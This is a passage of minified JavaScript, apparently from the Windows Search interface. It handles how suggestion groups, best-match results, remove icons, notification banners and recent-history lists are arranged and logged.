i;if(t==n.GroupType.MRUHistory||t==n.GroupType.RecommendedDocs||t==n.GroupType.CuratedSuggestions){if(n.shouldShowDSBFullWidth()&&n.config.enableMRUDSBV2)return n.config.MRUMaxItemsDSBV2;let r=this.groups.filter(t=>t.type==n.GroupType.AnaheimDataTile);if(n.canShowAnaheimWin11ZITopSites()&&t==n.GroupType.MRUHistory&&r&&r.length>0)return n.LightweightStorage.removeItem(vt),6;if(n.config.wsbWithCopilot&&((i=this._partialQuery)===null||i===void 0?void 0:i.scope)==n.Scope.All)return 6;let u=n.ScopeConfig[n.Scope.All].enabledDataSourcesForZeroInput,f=u.some(n=>n&&n.suggestionGroupToggler&&n.suggestionGroupToggler.isHidden()),e=n.RuntimeConfig.PreviewPaneAvailable&&n.shouldEnableQuickSearches(n.Host.getLanguage().toLowerCase())&&!f||n.shouldShowStaticSearchHome(this._partialQuery)||n.shouldShowDSBLayout(this._partialQuery);if(e)return n.isL2(this._partialQuery)&&this._partialQuery.scope!==n.Scope.Work?10:this._partialQuery.isSearchHomeZI&&n.msbHost&&!n.msbDsbHost&&n.isMsbEnterprise()&&!n.msbHost.isGccHighTenant()&&n.msbHost.features.isQwsEnabled()&&n.msbHost.isTenantMsbEnabled()?6:n.config.activityInZI-this.getCountOfSuggestionsToReduce()}return n.config.activityInZI}getMaxNumberOfGroupsToFitMinSuggestionsPerGroup(){if(n.isL2(this._partialQuery)&&this._partialQuery.queryToFetch||n.getTweakedSetting("scrollBarInL1"))return Number.MAX_VALUE;if(this._partialQuery.isSearchHomeZI)return n.msbHost&&n.msbHost.features.isQwsEnabled()&&n.isMsbEnterprise()&&!n.msbHost.isGccHighTenant()?(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.msbSHGroupsLimit)?n.TestHookUrlParameters.msbSHGroupsLimit:7+(n.config.msbEnableDocumentZQ?1:0):5;let t=ti(this._resultsCounter);for(let i of t.groups)while(i.suggestions.length<n.config.minSuggestionsPerGroup)i.suggestions.push(i.suggestions[0]);let i=0;while(this.getAvailableSpace(t)>0){let r={suggestions:[]};for(let t=0;t<n.config.minSuggestionsPerGroup;++t)r.suggestions.push({mainTextWrapsToTwoLines:!1,isSuppressed:!1,hasTwoLines:!1});t.groups.push(r);i+=1}if(this._partialQuery.scope===n.Scope.All&&n.isSupportWebResultsInAllScopeInDMAEnabled()){const r=Object.keys(n.Host.getDMAWebProvidersOrderMap()).length;if(r!=0)return t.groups.length-1+r-i}return t.groups.length-1}onSuggestionAddedToGroup(t,r){if(this.updateNarratorWithPreviewMessage(t),n.isChildSuggestion(t)){t.displayed=!0;let i=t.parent;t.id=i.id+"_"+i.childSuggestions.indexOf(t);n.isJumpListSuggestion(t)&&t.tooltip===undefined&&n.Async.safeChain("getJumpListDescription",()=>t.jumpListItem.getDescriptionAsync(),i=>{t.tooltip=i,this.groups.some(i=>n.contains(i.suggestions,t))&&this.renderGroups()})}this.setRemoveIcon(t);let u=i(this._resultsCounter.groups,r.typeWithSource);u.suggestions.push({mainTextWrapsToTwoLines:a(t,r.typeWithSource.type,!1),isSuppressed:t.suppressed,hasTwoLines:n.contains(t.classNames,"forceNoWrapOutsideTopResult")});n.displayedInGridLayout(r.typeWithSource.type)&&r.suggestions.filter(n=>!n.suppressed).length>0&&(r.cssClasses+=n.isL2(this._partialQuery)?" gridLayout":" gridLayout gridLayoutMedium")}onGroupsCleared(){this._pendingSuggestionsInExistingGroups=[];this._pendingSuggestionsInMissingGroups=[];this._resultsCounter.groups=[];this._turnOnIndexingInstItem&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(this._lastUpdatedSequenceNumber,"IMIO",this._turnOnIndexingInstItem)}launchSearch(t,i){let r=t.queryToFetch;n.Host.launchSearchAsync(r,this._navigationHelper.getSearchUrl(t.fullPartialQuery,r,i),!1,i)}setRemoveIcon(t){let i=t.getExtraVerbs&&t.getExtraVerbs(!1).some(n=>n.verb=="RemoveFromDeviceHistory"),e=(t.type=="HS"||t.type=="AIFD")&&n.config.removeSuggUrl,r=t.getExtraVerbs&&t.getExtraVerbs(!1).some(n=>n.verb=="HideFromRecentHistory"),o=n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.forceRemoveIcon,u=t.getExtraVerbs&&t.getExtraVerbs(!1).some(n=>n.verb=="RemoveFromDeviceHistoryAll"),f=this._partialQuery.isSearchHomeZI&&t.type=="ANAH",s=n.config.enableCopilotHistoryInMRU&&this._partialQuery.isSearchHomeZI&&t.type=="COHS";if(o||i||e||u||f||r||s){let e="RemoveFromWebHistory";u?e="RemoveFromDeviceHistoryAll":i||f?e="RemoveFromDeviceHistory":r&&(e="HideFromRecentHistory");t.removeIcon={icon:{content:"&#xE711",type:2},title:n.Host.getLocString(e),selected:!1,click:(i,r)=>{this._page.hideTemporaryMessage(),n.InstrumentationHelper.instrumentItemClickForContextMenu(i,t.instItem,t.sequenceNumber,t.instrumentPingBack,r,null,e),this.launchVerb(t,e,i),n.Host.setFocusInSearchBox(null,"remove")}}}}setOpenIcon(t){t.openIcon={icon:{content:"&#xE8A7",type:2},title:"Open",selected:!1,click:(i,r)=>{this._page.hideTemporaryMessage(),n.InstrumentationHelper.instrumentItemClickForContextMenu(i,t.instItem,t.sequenceNumber,t.instrumentPingBack,r,null,"open"),this.launchVerb(t,"open",i),n.Host.setFocusInSearchBox(null,"open")}}}updateNarratorWithPreviewMessage(t){let i=n.RuntimeConfig.AlwaysWide?"PreviewPaneButtonNarratorMessageWidePane":"PreviewPaneButtonNarratorMessage";n.config.enablePreviewPaneOptionNarrator&&(n.isApp(t.type)||n.isSetting(t.type))&&(i=n.RuntimeConfig.AlwaysWide?"PreviewPaneOptionsButtonNarratorMessageWidePane":"PreviewPaneOptionsButtonNarratorMessage");let r=n.Host.getLocString(i);t.narratorText&&t.previewPaneType&&t.narratorText.indexOf(r)==-1&&(t.narratorText+=", "+r)}shouldShowMessageBanner(){var t;return n.config.enableMessageBanner&&((t=this._partialQuery)===null||t===void 0?void 0:t.scope)==n.Scope.All&&SearchAppWrapper.CortanaApp.isUserOnboarded()}buildMessageBannerModel(){if(!this.shouldShowMessageBanner())return null;let t=SearchAppWrapper.CortanaApp.getSearchAppLaunchCount();if(t>=w)return null;const i=SearchAppWrapper.CortanaApp.isTraySearchBoxVisibleOnAnyMonitor;if(!i)return SearchAppWrapper.CortanaApp.setSearchAppLaunchCount(9),null;return{message:n.Host.getLocString("ReclaimSBMessage"),buttonKeepMessage:n.Host.getLocString("ReclaimSBKeepButtonMessage"),buttonUndoMessage:n.Host.getLocString("ReclaimSBUndoButtonMessage"),buttonDismissMessage:n.Host.getLocString("ReclaimSBDismissButtonMessage"),buttonKeepClickHandler:(t,i,r)=>{SearchAppWrapper.CortanaApp.setSearchAppLaunchCount(w),this.sendTelemetryForClick("RSBK",t,i,r,"SearchboxKeep"),n.Host.refreshCurrentPane()},buttonUndoClickHandler:(n,i,r)=>{let u=SearchAppWrapper.CortanaApp.revertToPreviousSearchBoxMode();u?SearchAppWrapper.CortanaApp.setSearchAppLaunchCount(w):SearchAppWrapper.CortanaApp.setSearchAppLaunchCount(t==0?0:t-1);this.sendTelemetryForClick("RSBU",n,i,r,"SearchboxUndo");SearchAppWrapper.CortanaApp.dismissApp()},dismissClickHandler:(t,i,r)=>{SearchAppWrapper.CortanaApp.setSearchAppLaunchCount(w),this.sendTelemetryForClick("RSBD",t,i,r,"SearchboxDismiss"),n.Host.refreshCurrentPane()}}}shouldShowDmaBanner(){return n.isThirdPartySearchAllowed()&&n.Host.canShowNotificationBanner()}buildDmaBannerModel(){if(!this.shouldShowDmaBanner())return null;let t=n.Host.isShowNotificationOnWebSearchProviderInstallEnabled();return{title:t?n.Host.getLocString("DmaNotificationTitleNew"):n.Host.getLocString("DmaNotificationTitle"),message:t?n.Host.getLocString("DmaNotificationMessageNew"):n.Host.getLocString("DmaNotificationMessage"),buttonMessage:n.Host.getLocString("DmaNotificationButtonMessage"),buttonDismissMessage:n.Host.getLocString("DmaNotificationCobaltDismissButtonMessage"),buttonClickHandler:()=>{n.Host.launchSearchPermissions(t),this._page.updateNotificationBannerAreaView(undefined),n.Host.setBannerInteraction()},dismissClickHandler:()=>{this._page.updateNotificationBannerAreaView(undefined),n.Host.setBannerInteraction()}}}sendTelemetryForClick(t,i,r,u,f){const o=n.SequenceNumberManager.getSequenceNumber();let e=n.InstrumentedItem.getNonSuggestionInstrumentedItem(t,n.SyntheticQSCodesMaps.KValues,n.SyntheticQSCodesMaps.HandoffsForNonSuggestions[t]);e=n.InstrumentationHelper.updateMessageBannerClickItemProps(e,f);n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(o,t,e);n.InstrumentationHelper.instrumentItemClick(i,e,o,null,r,u)}onBeforeRenderTopResults(t,i,r,u,f){var o;this.topResults.forEach(n=>{this.setRemoveIcon(n),this.updateNarratorWithPreviewMessage(n)});n.config.enableOpenIconForTopHits&&this.topResults.length>=1&&this.setOpenIcon(this.topResults[0]);let s=1;this.topResults.length!=1||this.topResults[0].hasChildSuggestionsDisplayed||r.some(t=>n.isChildSuggestion(t))&&(((o=this._partialQuery)===null||o===void 0?void 0:o.scope)!==n.Scope.Work&&(this.topResults[0].hasChildSuggestionsDisplayed=!0),s=0);let h=!1,c=this.getSelectableItems();if(n.RuntimeConfig.FirstSuggestionSelectedByDefault){if(!this._selectedItem||!n.contains(c,this._selectedItem)||this.isScopeElement(this._selectedItem)||this._selectedItem==i[0]&&this.topResults[0]!=i[0]||this._selectedItem!=c[0]||this._selectedItem.previewPaneNeedsRefreshAfterDeduping){let t=this._partialQuery.queryToFetch&&this.topResults.length>0?this.topResults[0]:null;n.isThirdPartySearchAllowed()&&this._partialQuery.scope==n.Scope.ThirdPartyWeb&&(t=this.topResults.length>0?this.topResults[0]:null);const i=this._selectedItem&&this.isSuggestion(this._selectedItem)?this._selectedItem:null;if(n.config.synthWebNoBestMatch&&n.isNullOrUndefined(t)){let i=[n.GroupType.SearchSuggestions,n.GroupType.FromYourHistory,n.GroupType.Websites],u=r.filter(t=>!n.contains(i,n.getGroupType(t)));u.length==0&&(t=r.length>0?r[0]:null)}this._previewPane&&n.RuntimeConfig.PreviewPaneAvailable&&(h=!1,n.safeExecute(()=>this._previewPane.onTopHitUpdated(this._partialQuery,i,t,this.getSuggestions(!1)),"ppOnTopHitUpdated"));this.select(t,!1);this._page.scrollToTop()}}else t&&this.select(null,!1);let l=this.topResults.length>0,e=t=>!t.suppressed&&t.staticGroupType!=n.GroupType.VisualSearch,a=r&&r.length>0;if(this._headerFooterViewModel&&!h){let t=l||r.some(e)||this.groups.some(n=>n.suggestions.some(e))||this._pendingSuggestionsInMissingGroups.some(n=>n.suggestions.some(e))||this._pendingSuggestionsInExistingGroups.some(n=>n.suggestions.some(e));!n.canShowWorkScopeZiPageContent(this._partialQuery)||n.canShowCuratedSuggestionInEnterpriseScope(this._partialQuery)||r.some(t=>t.staticGroupType==n.GroupType.MRUHistory)||(t=!1);this._headerFooterViewModel.render(this._partialQuery,l,t,u,f,a)}return s}isRankable(t){return n.config.enableAnaheimRelevance==2?t.typeWithSource.type!=n.GroupType.Websites&&t.typeWithSource.type!=n.GroupType.LocalPlaces&&!t.suggestions.some(n.enforceOriginalOrder):t.typeWithSource.type!=n.GroupType.SearchSuggestions&&t.typeWithSource.type!=n.GroupType.FromYourHistory&&t.typeWithSource.type!=n.GroupType.ChatWithBing&&t.typeWithSource.type!=n.GroupType.Websites&&t.typeWithSource.type!=n.GroupType.LocalPlaces&&!t.suggestions.some(n.enforceOriginalOrder)}isNotRankableWithRecourse(t){return t.typeWithSource.type==n.GroupType.Emails}openPreviewPane(t,i){i.stopPropagation();this._previewPane.showPreview(this._partialQuery,t);const r=n.getGroupType(t);if((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkMruEnabled())&&n.isWorkScopeMruGroupType(t)||r==n.GroupType.SearchSuggestions||n.config.enableFromYourHistory&&r==n.GroupType.FromYourHistory||n.isChildSuggestion(t))this.onSuggestionLaunch(t,this._partialQuery);this.select(t,!0);n.config.reactGroups&&this.selectGroupItem(t);n.Host.setFocusInSearchBox(null,"openPreviewPane")}mayNeedFlush(){return!n.RuntimeConfig.FlatListWithoutGroups}update(t,i,r,u,f,e,o,s,h,c){var w,b,k;let d=this.topResults;if(t&&(this._contentQuery=this._partialQuery,this._renderTopResultsTimerForIcons=null,this._renderGroupsTimerForIcons=null),n.config.enableMRUHint)for(let t of i)t.mruHintEnabled&&(t.uxHint=n.Host.getLocString("MruBestMatch"));let[g,et]=this.updateTopResults(t,i,r,u,f,h);et();this._resultsCounter.topResults=[];n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&(this._existPendingSettingsGroup=!1,this._settingSuggestions=[]);for(let t of this.topResults){t.previewPaneNeedsRefreshAfterDeduping=!1;let i=1+(t.primaryMetadata?1:0)+(t.secondaryMetadata?1:0);this._resultsCounter.topResults.push({mainTextWrapsToTwoLines:a(t,null,!0),numberOfLines:i,isHtmlAnswer:!!t.htmlContent,isSuppressed:!1,grid:n.displayedInGridLayout(t.type)})}if(this._autoComplete&&this.topResults.length>0&&this._selectedItem==this.topResults[0]&&this._autoComplete.apply(this.topResults[0]),this.handlePendingSubmit(f)==0)return this.toggleProgressBar(!0),0;this._partialQuery&&this._partialQuery.isSearchHomeZI&&this.toggleProgressBar(!h);let nt=!1,y=0,ot=this.createIconRenderInfo(),it=n.config.msbDsbExtraInfoNoInstDebug==!0&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant()),tt=t=>{var i,r;if(nt){let f=this.groups.map(n=>n.typeWithSource.type);if(!((i=this._contentQuery)===null||i===void 0?void 0:i.queryToFetch)&&y==0){let i=this._cvidAtLastRender!=n.Host.getConversationId();this._cvidAtLastRender=n.Host.getConversationId();n.InstrumentationHelper.instrumentZiRendered(u,i,t)}n.InstrumentationHelper.instrumentRenderFinished(u,o,f,y!=0,!((r=this._contentQuery)===null||r===void 0?void 0:r.queryToFetch))}},l=(t,i)=>{var e,o;let f=!1;if(this.isRankable(i)&&this._partialQuery&&this._partialQuery.queryToFetch)if(n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&i.type===n.GroupType.Settings)if(this._existPendingSettingsGroup){for(let n=0;n<i.suggestions.length;n++)if(this.compareSettings(t,i.suggestions[n])){i.suggestions.splice(n,0,t);f=!0;break}}else i.suggestions.push(t),f=!0;else for(let n=0;n<i.suggestions.length;n++)if(t.rankingScore>i.suggestions[n].rankingScore){i.suggestions.splice(n,0,t);f=!0;break}if(n.config.enableQFSWBestPos&&t.type!="SW"&&i.suggestions.length>0&&t.handoffType==0)if(n.config.swBestPosition=="QFSWPositionT1")i.suggestions.length<3&&(i.suggestions.splice(i.suggestions.length-1,0,t),f=!0);else if(n.config.swBestPosition=="QFSWPositionT2")i.suggestions.splice(i.suggestions.length-1,0,t),f=!0;else if(n.config.swBestPosition=="QFSWPositionT3")for(let n=0;n<i.suggestions.length;n++)if(t.rankingScore>i.suggestions[n].rankingScore){i.suggestions.splice(n,0,t);f=!0;break}if(!f){const u=((e=this._partialQuery)===null||e===void 0?void 0:e.scope)===n.Scope.Work,r=!t.childSuggestions&&t.handoffType===21;u&&!((o=this._partialQuery)===null||o===void 0?void 0:o.isWorkScopeZI)&&!r&&i.suggestions.length>=n.config.msbWorkScopeGroupSuggestionLimit&&(t.suppressed=!0);(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())&&r&&this.groups.findIndex(i=>{var r;return((r=i.suggestions[0])===null||r===void 0?void 0:r.type)===n.getMsbSuggestionTypeFromSubverticalOnlineSuggestionType(t.type)})!==-1&&(t.suppressed=!0);i.suggestions.push(t)}++y;this.setupIcon(u,t,ot,()=>{--y;let n=it?"From: setupIcon root view model. handOffType: "+t.handoffType+"grouptype: "+i.type+"Search Home: "+this._partialQuery.isSearchHomeZI+"Wait 4 more res: "+r:null;tt(n)});this.onSuggestionAddedToGroup(t,i)},v=this.getMaxNumberOfGroupsToFitMinSuggestionsPerGroup()-this.groups.length,p=!1,rt=()=>{var t,i,f,e;if(v!=0&&r||this.flush(l,u,s),n.isSupportWebResultsInAllScopeInDMAEnabled()&&!this._partialQuery.isSearchHomeZI&&this._partialQuery.scope===n.Scope.All){let t=this.getMaxSuggestionCountPerDMAGroup();this.groups.filter(t=>t.type===n.GroupType.DMAWeb).forEach(n=>n.suggestions=n.suggestions.slice(0,Math.max(t,0)));this.groups.sort((t,i)=>{var r,u;const e=s.findIndex(i=>n.sameGroup(i,t.typeWithSource)),o=s.findIndex(t=>n.sameGroup(t,i.typeWithSource)),f=e-o;if(f!==0)return f;if(t.typeWithSource.type===n.GroupType.DMAWeb&&i.typeWithSource.type===n.GroupType.DMAWeb){const f=n.Host.getDMAWebProvidersOrderMap(),e=((r=f[t.typeWithSource.source])===null||r===void 0?void 0:r.order)||Number.MAX_SAFE_INTEGER,o=((u=f[i.typeWithSource.source])===null||u===void 0?void 0:u.order)||Number.MAX_SAFE_INTEGER;return e-o}return 0})}else this.groups.sort((t,i)=>s.findIndex(i=>n.sameGroup(i,t.typeWithSource))-s.findIndex(t=>n.sameGroup(t,i.typeWithSource)));if(n.config.enableReBalanceWebChatSuggestion){const r=this.groups.findIndex(t=>t.type===n.GroupType.ChatWithBing),u=this.groups.findIndex(t=>t.type===n.GroupType.SearchSuggestions);if(r!==-1&&u!==-1){let s=(t=this.groups[u])===null||t===void 0?void 0:t.suggestions,o=(i=this.groups[r])===null||i===void 0?void 0:i.suggestions,h=s===null||s===void 0?void 0:s.map(n=>n.text),n=o===null||o===void 0?void 0:o.filter(n=>h.includes(n.text));(n===null||n===void 0?void 0:n.length)>=3&&n.splice(3);(f=this.groups[r])===null||f===void 0?void 0:f.suggestions.splice(0,o.length,...n);this.groups.splice(u+1,0,(e=this.groups)===null||e===void 0?void 0:e.splice(r,1)[0])}}if(this._partialQuery&&this._partialQuery.queryToFetch){if(n.config.enableFromYourHistory){let t=this.groups.filter(t=>t.type===n.GroupType.FromYourHistory)[0];if(t){let n=t.suggestions.every(n=>n.suppressed);if(n){let n=t.suggestions.slice(0);for(let t of n)this.removeSuggestion(t,c)}}}if(n.config.enableWinStoreAppPreview){let t=this.groups.filter(t=>t.type===n.GroupType.Store)[0];if(t){let n=t.suggestions.every(n=>n.suppressed);if(n){let n=t.suggestions.slice(0);for(let t of n)this.removeSuggestion(t,c)}}}for(let t of this.groups){if(this.isRankable(t))n.config.mergeMultipleResouces&&this.isSemanticSearchResultInGroup(t)?this.mergeMultipleResouce(t):n.config.enableCopIFFExpPlan&&this.isSemanticSearchResultInGroup(t)?this.honorL1RankScore(t):n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&this.isJupiterSearchResultInGroup(t)?t.suggestions.sort(this.settingSuggestionComparationFunction):t.suggestions.sort((n,t)=>t.rankingScore-n.rankingScore);else if(this.isNotRankableWithRecourse(t)){let n=t.suggestions.map(n=>n.notAResult).findIndex(n=>n);n!=-1&&t.suggestions.splice(t.suggestions.length-1,0,t.suggestions.splice(n,1)[0])}this.populateGroupHeaderFlags(t)}}};if(t||f.length>0||e.length>0){this.renderGroupsAfter(()=>{for(let n of e){let t=this.removeSuggestion(n,c);t&&(v+=1)}let i=(t,i)=>{var e,o;let[f,r]=this.getGroupData(t);if(r){r.count&&r.count++;const u=n.config.minSuggestionsPerGroup&&!i?n.config.minSuggestionsPerGroup-r.suggestions.length:999;n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&r.type===n.GroupType.Settings?(u>0&&this.canFitSuggestion(!1,f,t)&&l(t,r),i||this._settingSuggestions.push(t)):u>0&&this.canFitSuggestion(!1,f,t)?l(t,r):u>0&&n.config.forceCoPilotPoweredResultsVisible&&(n.isDocument(t.type)||n.isPhoto(t.type))?l(t,r):n.config.staticSuggestionsNumberPerGroup&&!n.isThirdPartySearchAllowed()&&u>0?l(t,r):((e=this._partialQuery)===null||e===void 0?void 0:e.isSearchHomeZI)||this.queueSuggestionInExistingGroup(t,r)}else v>0&&this.canFitSuggestion(!0,f,t)?(r=this.addGroup(f,t,u,s,c),this.shouldTrackGroupCount(r)&&(r.count=1),l(t,r),v-=1,n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&r.type===n.GroupType.Settings&&this._settingSuggestions.push(t)):n.config.forceCoPilotPoweredResultsVisible&&(n.isDocument(t.type)||n.isPhoto(t.type))?(r=this.addGroup(f,t,u,s,c),this.shouldTrackGroupCount(r)&&(r.count=1),l(t,r)):n.Host.getJupiterProviderEnabled()&&n.Host.getForceCoPSTResultRenderingEnabled()&&n.isSetting(t.type)?(r=this.addGroup(f,t,u,s,c),this.shouldTrackGroupCount(r)&&(r.count=1),l(t,r)):n.config.forceAllGroupsVisible&&!n.isThirdPartySearchAllowed()?(r=this.addGroup(f,t,u,s,c),this.shouldTrackGroupCount(r)&&(r.count=1),l(t,r)):((o=this._partialQuery)===null||o===void 0?void 0:o.isSearchHomeZI)||this.queueSuggestionInMissingGroup(t,f,c)};for(let n of d){let[,t]=this.getGroupData(n);t&&t.count&&(t.count-=1)}const r=()=>this._contentQuery.isSearchHomeZI||n.getTweakedSetting("scrollBarInL1")||this.isWorkScope()||n.config.bypassSuggestionQueueForL2&&n.isL2(this._contentQuery);if(g&&!t){for(let t of f)n.contains(d,t)&&i(t,!0);for(let t of f)n.contains(d,t)||i(t,r())}else f.forEach(n=>i(n,r()));if(n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled())for(let t of this.groups)if(t.type===n.GroupType.Settings){this.reSortJupiterSearchResult(t);break}for(let n of this.topResults){let[,t]=this.getGroupData(n);t&&t.count&&(t.count+=1)}if(rt(),n.config.enableQFChatBeforeSuggestion){const[t,i]=this.groups.reduce((t,i,r)=>(i.type===n.GroupType.ChatWithBing&&t[0]===-1?t[0]=r:i.type===n.GroupType.SearchSuggestions&&t[1]===-1&&(t[1]=r),t),[-1,-1]);t!==-1&&i!==-1&&t>=i&&this.groups[t].suggestions.length>=n.config.minChatSuggestionToPromoteGroup&&([this.groups[t],this.groups[i]]=[this.groups[i],this.groups[t],])}n.config.enableUserEngagementLog&&this.fillSuggestionUserEngagementContent();n.isSemanticSearchTelemetryEnabled()&&this.logQFSuggestionsIndexerMatchTypeList()});const r=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkUpsellApplicable();let i=!1;if(r&&((w=this._partialQuery)===null||w===void 0?void 0:w.queryToFetch)&&(i=this.shouldShowWorkUpsellMessage(),this.updateWorkUpsell(i,this._isWorkUpsellShown!=i)),this._isWorkUpsellShown=i,this.isWorkScope()&&((b=this.groups)===null||b===void 0?void 0:b.length)>1&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())){const t=this.groups.findIndex(t=>t.type===n.GroupType.Related);t>-1&&(this.groups[t].maxSuggestionsToShow=lu)}p=!0;nt=!0}else v!=0&&r||(this._pendingSuggestionsInMissingGroups.some(n=>n.suggestions.length>0)||this._pendingSuggestionsInExistingGroups.some(n=>n.suggestions.length>0))&&(this.renderGroupsAfter(()=>rt()),p=!0,nt=!0);if(g||p){let n;g?p||(n=!0):n=!1;this.resetIconTimers(n,!0)}let ut=!1;if(ut=n.canShowAnaheimWin11ZITopSites()?this.groups.some(t=>t.type===n.GroupType.MRUHistory||t.type===n.GroupType.AnaheimDataTile||t.type===n.GroupType.AnaheimDataList):this.groups.some(t=>t.type===n.GroupType.MRUHistory),ut){const t=this.groups.findIndex(t=>t.type===n.GroupType.CuratedSuggestions);t>-1&&(this.groups.splice(t,1),n.canShowAnaheimWin11ZITopSites()&&this.renderGroups())}let ft=it?"From: 2nd call at update. AllDataSourceArrived: "+h+"Search Home: "+this._partialQuery.isSearchHomeZI+"Wait 4 more res: "+r:null;return n.config.optimizeRenderGroups&&n.config.adjustInstGroupSort||tt(ft),h&&this.toggleProgressBar(!1),(n.config.mruSearchHome&&((k=this._partialQuery)===null||k===void 0?void 0:k.isSearchHomeZI)&&this._partialQuery.scope==n.Scope.All||n.canShowWorkScopeZiPageContent(this._partialQuery))&&this.sortMRUList(),n.config.optimizeRenderGroups&&this._groupRenderingDisabled&&(this._groupRenderingDisabled=!1,this.renderGroups()),n.config.optimizeRenderGroups&&n.config.adjustInstGroupSort&&tt(ft),1}fillSuggestionUserEngagementContent(){var r,u,f,e,o,s,h,c,l,a,v,y,p,w,i;let t=n.isZeroInputAllScope(n.Host.getQuery()),k=t?"ZI":"QF";i=-1;let d=this.topResults.length>0?0:1,b="";t&&(b=n.isMsbEnterprise()?"MSB":n.shouldShowStaticSearchHome(n.Host.getQuery())?"Static Search Home":n.shouldShowDSBLayout(n.Host.getQuery())?"DSB":"");for(let n=0;n<this.topResults.length;n++){i=i+1;let t=this.topResults[n];t.instItem.setUserEngagementContent({engagementType:"Click",engagementSurface:k,dataSource:(r=t===null||t===void 0?void 0:t.dataSource)!==null&&r!==void 0?r:"",suggestionType:(u=t===null||t===void 0?void 0:t.type)!==null&&u!==void 0?u:"",scope:(e=(f=t===null||t===void 0?void 0:t.scope)===null||f===void 0?void 0:f.toString())!==null&&e!==void 0?e:(h=(s=(o=this._partialQuery)===null||o===void 0?void 0:o.scope)===null||s===void 0?void 0:s.toString())!==null&&h!==void 0?h:"",bestMatch:!0,group:"Best Match",groupOrdinal:0,absoluteOrdinal:i,withinGroupOrdinal:n,previewPaneHit:!1,zeroInputExperienceType:b,zeroInputItemType:""})}for(let r=0;r<this.groups.length;r++)for(let u=0;u<this.groups[r].suggestions.length;u++){i=i+1;let f=this.groups[r].suggestions[u];f.instItem.setUserEngagementContent({engagementType:"Click",engagementSurface:k,dataSource:(c=f===null||f===void 0?void 0:f.dataSource)!==null&&c!==void 0?c:"",suggestionType:(l=f===null||f===void 0?void 0:f.type)!==null&&l!==void 0?l:"",scope:t?undefined:(v=(a=f===null||f===void 0?void 0:f.scope)===null||a===void 0?void 0:a.toString())!==null&&v!==void 0?v:(w=(p=(y=this._partialQuery)===null||y===void 0?void 0:y.scope)===null||p===void 0?void 0:p.toString())!==null&&w!==void 0?w:"",bestMatch:t?undefined:!1,group:t?undefined:this.groups[r].text,groupOrdinal:t?undefined:r+d,absoluteOrdinal:t?undefined:i,withinGroupOrdinal:t?undefined:u,previewPaneHit:t?undefined:!1,zeroInputExperienceType:t?b:undefined,zeroInputItemType:t?n.isZeroInputAllScope(n.Host.getQuery())&&this.groups[r].type==n.GroupType.MRUHistory?"Recent":"Other":undefined})}}getQFSuggestionIndexerMatchType(t){var i;let r=0;if(!n.isNullOrUndefined(t===null||t===void 0?void 0:t.deviceItem)&&(n.isDocument(t===null||t===void 0?void 0:t.type)||n.isPhoto(t===null||t===void 0?void 0:t.type)||n.isFolder(t===null||t===void 0?void 0:t.type)||n.Host.getJupiterProviderEnabled()&&n.isSetting(t===null||t===void 0?void 0:t.type))){let n=t.deviceItem;r=(i=n===null||n===void 0?void 0:n.matchType)!==null&&i!==void 0?i:0}return r}logQFSuggestionsIndexerMatchTypeList(){let t=[];for(let n=0;n<this.topResults.length;n++){let i=this.topResults[n];t.push(this.getQFSuggestionIndexerMatchType(i))}for(let n=0;n<this.groups.length;n++)for(let i=0;i<this.groups[n].suggestions.length;i++){let r=this.groups[n].suggestions[i];t.push(this.getQFSuggestionIndexerMatchType(r))}n.InstrumentationHelper.logQFSuggestionsIndexerMatchTypeList(t)}sortMRUList(){let i=this.groups.filter(t=>t.type==n.GroupType.MRUHistory),r=this.groups.filter(t=>t.type!=n.GroupType.MRUHistory);const t=this.getMaxNumberOfRecentItems(n.GroupType.MRUHistory);if(i.length>0){n.LightweightStorage.removeItem(vt);let u=i[0];u.suggestions.sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime);let e=u.suggestions.filter(n=>n.itemType===2);if(u.suggestions.length>t||e.length>n.Max_WEB_RESULTS&&n.config.reduceInZI!=0&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())===3)if(n.config.mruImprovement3){let f=u.suggestions.slice(t),i=f.filter(n=>n.itemType!==2);u.suggestions=u.suggestions.splice(0,t);let r=u.suggestions.filter(n=>n.itemType===2),e=u.suggestions.filter(n=>n.itemType!==2);if(r.length>n.Max_WEB_RESULTS){let f=r.slice(n.Max_WEB_RESULTS),s=[];s=f.length>=i.length?f.slice(0,f.length-i.length).concat(i):i.slice(0,f.length);let o=r.slice(0,n.Max_WEB_RESULTS).concat(e).concat(s).sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime);o.length>t&&(o=o.slice(0,t));u.suggestions=o}}else u.suggestions=u.suggestions.splice(0,t);(n.config.enablePromoteWebSuggInSH||n.config.enablePromoteWebSuggInSH2||n.config.enablePromoteWebSuggInSH3||n.config.enablePromoteWebSuggInSH4||n.config.enablePromoteWebSuggInSH5||n.config.enablePromoteWebSuggInSH6)&&this.rankMruSuggestions(u);n.config.optimizeRecentRank&&this.rankMruWebSuggestions(u);let f=-1;this.groups.forEach((t,i)=>{f=t.type==n.GroupType.MRUHistory?i:f});r.splice(f,0,u);this.groups=r;n.config.trendingSearchInWin11LeftPane&&this.shrinkTSListByMruLength(i.length>0?i[0].suggestions.length:0,t);this.renderGroups()}else n.LightweightStorage.setItem(vt,"1")}rankMruSuggestions(t){let 